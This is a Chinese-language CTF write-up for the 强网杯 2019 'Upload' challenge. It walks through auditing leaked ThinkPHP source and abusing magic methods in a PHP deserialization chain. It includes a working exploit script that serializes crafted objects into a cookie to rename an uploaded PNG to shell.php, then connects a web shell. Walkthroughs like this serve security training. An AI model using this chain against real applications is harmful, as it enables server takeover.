[强网杯 2019]Upload

知识点:代码审计

可以看到cookie值是base64加密后的。
在这里插入图片描述
解密后:
在这里插入图片描述
试了一下改img的地址并不会目录穿越,那么这题大概率是反序列化,先扫一波,发现www.tar.gz

有idea说明会有配置信息,和一些历史记录。
在这里插入图片描述
作者给了两个断点提示我们。
在这里插入图片描述
在这里插入图片描述
可以从$profile=cookie('user');看出,确实是利用cookie。

接下来看一下上传图片的代码:
在这里插入图片描述
主要功能就是先判断我们的信息和之前的一不一样,不一样就重定向到首页,再判断文件是不是图片,然后把文件copy后移到upload下。

可以利用copy把.png转化为.php复制到目录下。那么怎么调用这个类中的upload_img方法?

在profile类中有两个方法__get和__call方法,__get方法是当访问不可访问的属性时调用,__call是访问不可访问的方法的时候调用。

在这里插入图片描述

这时候再回头看作者给的第二个断点,利用 $this->checker->index();触发__call,这时候在__call中又会调用不存在的方法index,触发了__get。我们设置$except = ['index' => 'upload_img'],这样就会调用upload_img方法了。
在这里插入图片描述

exp:

<?php
namespace app\web\controller;
class Profile
{
    public $checker = 0;
    public $filename_tmp = './upload/c47b21fcf8f0bc8b3920541abd8024fd/10fb15c77258a991b0028080a64fb42d.png';
    public $filename = './upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
    public $upload_menu;
    public $ext = 1;
    public $img;
    public $except = ['index' => 'upload_img'];

}

class Register
{
    public $checker;
    public $registed = 0;
}

$profile = new profile();
$register = new Register();
$register->checker = $profile;

echo base64_encode(serialize($register));
?>

然后修改一下cookie,png文件就会变为php文件,最后用蚁剑连一下就ok了。

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值